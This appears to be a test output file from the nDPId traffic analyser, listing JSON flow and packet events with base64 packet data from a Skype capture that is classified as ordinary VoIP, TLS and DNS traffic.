+00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":797,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":40033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00447{"flow_id":120,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":798,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":837706,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGxWVv3U2vwKgBIgG7yDJl2k5Wodh94KASOJCbeAAAAgQFrAQCCApNo+OiPjHnRwEDAwk="} +00437{"flow_id":120,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":799,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":837783,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0vZ1AAEAG\/c\/AqAEib91Nr8gyAbuh2H3gZdpOV4AQECzxPQAAAQEICj4x6KxNo+Oi"} +00534{"flow_id":120,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":800,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":837881,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8I7FAAEAGl3TAqAEib91Nr8gyAbuh2H3gZdpOV4AYECyksgAAAQEICj4x6KxNo+OigEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAFcrsw4Z73PH2K8wjZNq+U"} +00446{"flow_id":121,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":801,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":37263,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGK0hABBemwKgBIpxdyDOxwWA5m455IaASOJAGLQAAAgQFrAQCCApMQvFqPjHoqQEDAwk="} +00434{"flow_id":121,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":802,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":37387,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0G21AAEAGBePAqAEiQAQXpsgznF2bjnkhscFgOoAQECxcjQAAAQEICj4x6XNMQvFq"} +00560{"flow_id":121,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":37972,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"0NQSxnP1PBXCt3IOCABFAACMEARAAEAGEPTAqAEiQAQXpsgznF2bjnkhscFgOoAYECylcwAAAQEICj4x6XNMQvFqsGDOHlSqfRc+prbw89Fa2rh2+pm2+OjDEB5JFD\/88MznmLOT4PCegeqg1w32B4WlAHHuBwwN2gPYaYa\/ZIXyO7BhHne8\/QpziFm2LxR1IqtgUU7nbO064w=="} +00450{"flow_id":97,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":804,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":39507,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/gFAAEAGqYvAqAEinTg0LMgunFRemxVvo\/vFuIAYECqU3QAAAQEICj4x6XVMZ\/7lUZ\/2f58qofY="} +00436{"flow_id":120,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":129554,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0raxAADYGF8Fv3U2vwKgBIgG7yDJl2k5Xodh+KIAQAB0AqwAAAQEICk2j4\/w+Meis"} +00514{"flow_id":120,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":806,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":129658,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsOlBAAEAGgOXAqAEib91Nr8gyAbuh2H4oZdpOV4AYECyPmwAAAQEICj4x6c9No+P8rykSL\/YNWXmmSdsJysigGnvSxhmV7qYqIM+fUQQnb8UpRj+FOZcGRraAYWqHRq8j3tnIqulYKJg="} +00534{"flow_id":108,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":807,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":131554,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"0NQSxnP1PBXCt3IOCABFAAB53zBAAEAGyB\/AqAEinTg0LMgvAbu6eq6k7rH\/TIAYECx9kQAAAQEICj4x6dBMaAB9rs4rj\/Zn4y1sqwdIy3afkOEmLBspD4c0rMSeRLd9b91SLsTSeHa0jfo08XXIbE1KDwebW7o1FbLX0Wq5X\/ZmIfUdu0eE"} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":808,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1431970660159,"flow_last_seen":0,"flow_tot_l4_data_len":309,"flow_min_l4_data_len":309,"flow_max_l4_data_len":309,"flow_avg_l4_data_len":309,"midstream":1,"l3_proto":"ip4","src_ip":"108.160.163.108","dst_ip":"192.168.1.34","src_port":443,"dst_port":51222,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00815{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":808,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":159683,"pkt_caplen":343,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":343,"pkt_l4_len":309,"pkt":"PBXCt3IO0NQSxnP1CABFAAFJkcJAADIG5BVsoKNswKgBIgG7yBaV3SxsiZUqrIAYACaXjgAAAQEICmGAz38+MVp4FwMBARB8Fy4qyreLjg5Q96tDDF\/tJNQpsIShBClYLxny\/F4IVS87inYaH8NMzidehO4QJLb0Gpm5qZy83nu17ekToUXtOsjvJgerL5AdcFL4wkOs5YWIZJQILj89EVd3kwm2gSreMO6fU0x3sDxMFrXZesIKTvERW3z9QiBmYf77CRAcaBKDIZ4h8M6jvsMWFjh8rbcU6C9Yz3364yiyHbQuoqtvQN4EQD7H\/ZMlnDFOtnG2H8aPUdqUMD5HAjMSCpEQqc4JKy0wVFFuLxpIEra0u2hVB7ftMdJLJ\/sq+RNwy1Sfuv0g7qCHweCB0CkHYTzB2\/cU6qQOlFTex1tRE+sh29iBulHeN2MmenT9xvrZggKZYQ=="} +00438{"flow_id":127,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":809,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":159759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0\/qVAAEAGakfAqAEibKCjbMgWAbuJlSqsld0tgYAQD\/f6XgAAAQEICj4x6exhgM9\/"} +01729{"flow_id":127,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":162198,"pkt_caplen":1020,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1020,"pkt_l4_len":986,"pkt":"0NQSxnP1PBXCt3IOCABFAAPuXRVAAEAGCB7AqAEibKCjbMgWAbuJlSqsld0tgYAYEABN6wAAAQEICj4x6e5hgM9\/FwMBACBZ+Bs2C0RS\/3DQyGZlP7ulpgg75GP5qHQjRGtchozZwxcDAQOQsZo+mdYHDHNhryD2tBwTy4NvJ6ZcB90CLvDuO3oQpA0NMcbrVNY5NoFZnnz0+pHYPlsxDiwS7sQ7DD24qzDLtHgUUDp9pF8b6+msIHWzLPEMF8+q7Hjw2nVwpow1oTrrramWFNK3HRWRwVplTmpzcS1pGJ+gQZaUVDp8kdn+ynK0M3\/CdKLtFbx\/CK0N6q8IWYmbmyMU5F09Bl18WwyIuujJA\/tFE5EWnSsW2X+zhBTRq9ZI\/U83NB7qUlABm1QnhF8bT1juNjzO0mWZlZFkQTsnKvttlKSdtcMJ5dRpAqaA7SHB9Yz5a49nYhRO+wwnisVOiZGDLnrE+5oMmTb9C9ZKB5wr20bAzzEkorS06bd9G1Av+Y\/0Lf00cKMeFW4\/NlQQW2HF8cVYvIZB6\/NQlnUH0R\/vBxkZqKxj1qnAgjVDBnssNNPdbIKrHQdoBZOJ1oafA1nh+V4oZbi2LQd\/E9fD9yqlUtsVwzp7nZEacc3p6m0hUW7kAV1Xt3xzsImKJZZ7j62VNDmcm6WWPL29PEP1oF9dSb1pTuKLUUHMDB7w2YxBjm\/ZP6TnMxz3NjZHO6QfscWBsVMMmj8RnOruQ3QLIGDLGpDyMgBlDBTqoOiUC8PgBmSlGAPlhRVT95WOL1mqA6t0DBes+DH8fSZeIVvA3K7YCF4kypftCQiLFXrErN2XOvSvejhBSuUJcdOOdCNOjGoPoLOWoqVEN7LXgsXaWfdoBTx79TQIPG1as39Z7fRVj+fkKyD61xYiyqgtf1\/WpWVrCyTwKovWQ0C6GFD907jbLAxlD1UmA3abuFNLCt\/acdLUjndrKvuooQD6IYCIwrJi8YL7kKb0+32ovATeOhPAdbLgWa9wSUgKddlog7emY+Y\/Esr+n4M8E4bdevnoTb75M4ozaSVREGSwce5U3XhhEIMmQQkznZpj46Kf9jFwDbzxK7wZgQZ21paket5\/tiCE9zIgnjVS0wcx5TiuHX4egIJeH+3peLDINK2jmmDw6Tm7kJ69c9scP9Gd7zhw6XHG1S0IW6aTMTHKdqb5u2V1sEk8osIRYPNxQKLPY35nEHSqNlCZVyRPLhgWH+JjqVOEwNbhNBOOCigDYop+TfjfQDQrLH+IrQWISQBJnU69BfsNuFeEx3PLuH6o+oBZH+QNZRQR6lheial\/vXPOSCwP4oQlK11s+sl5+hhICPKCRXfAUncH7wDdsLSe"} +00449{"flow_id":109,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":811,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":192162,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8H1NAAEAGnBLAqAEib91Nr8gwnF4IVe1D0FEsUoAYECnWHQAAAQEICj4x6gtNo+Jb\/KZqQh\/x2yw="} +00435{"flow_id":121,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":237834,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0kaZAADYGmalABBemwKgBIpxdyDOxwWA6m455eYAQAB1sEgAAAQEICkxC8Zw+Melz"} +00551{"flow_id":121,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":238109,"pkt_caplen":149,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":149,"pkt_l4_len":115,"pkt":"PBXCt3IO0NQSxnP1CABFAACHkadAADYGmVVABBemwKgBIpxdyDOxwWA6m455eYAYAB2ZBAAAAQEICkxC8Zw+MelzjLQEsIeeVc+JDAz2rA4ym14qtE+qmcRTfvULGcvyToV4ShusctGfdVbdCiMxPRgYzZrDmClGfyRFsvtwId43fL3KM0gZdu\/UNeJrIBEOpyyt+qM="} +00435{"flow_id":121,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":814,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":238169,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0eopAAEAGpsXAqAEiQAQXpsgznF2bjnl5scFgjYAQECla7gAAAQEICj4x6jhMQvGc"} +00447{"flow_id":121,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":815,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":238552,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA880NAAEAGLgTAqAEiQAQXpsgznF2bjnl5scFgjYAYECnv7gAAAQEICj4x6jhMQvGckklqarCuvYw="} +00435{"flow_id":127,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":816,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":382243,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0kcNAADIG5SlsoKNswKgBIgG7yBaV3S2BiZUuZoAQACoGOAAAAQEICmGAz7c+Menu"} +00450{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":817,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":781651,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAd\/YAAEARf0PAqAEiwKgBAf3LADUALKDXdTsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00449{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":818,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":781889,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABADV8AAEAR6drAqAEiwKgBAdb0ADUALMTUeDABAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":819,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1431970660848,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":819,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":848421,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6TMEAAEARsjLAqAEib91KGDLdnGAAJk69e08C7Jn\/msaru979SjBYNnh0LMk7Ko\/+l6KrptIV"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":819,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1431970660848,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":820,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1431970660848,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.160","src_port":13021,"dst_port":40016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":848422,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4j48AAEARa97AqAEib91NoDLdnFAAJOlwe1ECSObCw6nUMfh7bnqIU3mueprtSIlR2AyZTQ=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":820,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1431970660848,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.160","src_port":13021,"dst_port":40016,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00455{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":821,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":882697,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDA9cAAEAR81\/AqAEiwKgBAe0QADUAL\/kqxMsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00454{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":822,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970660,"pkt_ts_usec":882768,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDBJcAAEAR8p\/AqAEiwKgBAeUHADUAL+4jvNsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00444{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":823,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":89012,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7i9kAAEARa2XAqAEiwKgBAfrwADUAJ8Zq760BAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00444{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":89012,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7g7kAAEARc4XAqAEiwKgBAcLIADUAJ6plKNsBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00447{"flow_id":60,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":102239,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8lPJAAEAGw5rAqAEiQTffLcgjnEma5hzvzyelXIAYECn1jgAAAQEICj4x7ZZNlOiwwc7xhOCNCBA="} +00514{"flow_id":73,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":826,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":135931,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsqy1AAEAGRMnAqAEinTfrk8gmAbvxz5zEZu7sLYAYECwhmgAAAQEICj4x7bdMYEfZsJPOrYWxbQ2kS5GoHYZTSJUEAhUVjQ9Suc6gMln7jVEiXtQHYU+2Wg9JNG\/SECNBnGag8RNJ4KY="} +00451{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":827,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":287280,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/Y8gAAEARk3LAqAEiwKgBAfWbADUAK9VUuF8BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAABAAE="} +00451{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":828,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":287394,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/lmgAAEARYNLAqAEiwKgBAebpADUAK335A20BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAAcAAE="} +00466{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":829,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":287560,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLvUMAAEAROevAqAEiwKgBAeD4ADUANz9NJ5kBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAABAAE="} +00466{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":830,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":287747,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLYwQAAEARlCrAqAEiwKgBAdB8ADUAN25j7f4BAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAAcAAE="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":831,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1431970661447,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":51253,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":831,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":447529,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAYfhAAEAGv0vAqAEiQAQXpsg1Abs0yMrkAAAAALAC\/\/8mywAAAgQFtAEDAwUBAQgKPjHu7gAAAAAEAgAA"} +00447{"flow_id":121,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":832,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":460213,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83iRAAEAGQyPAqAEiQAQXpsgznF2bjnl5scFgjYAYECnrLAAAAQEICj4x7vpMQvGckklqarCuvYw="} +00447{"flow_id":130,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":833,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970661,"pkt_ts_usec":649016,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGK0hABBemwKgBIgG7yDUuR6JLNMjK5aASOJDvYAAAAgQFrAQCCApMQvL8PjHu7gEDAwk="} 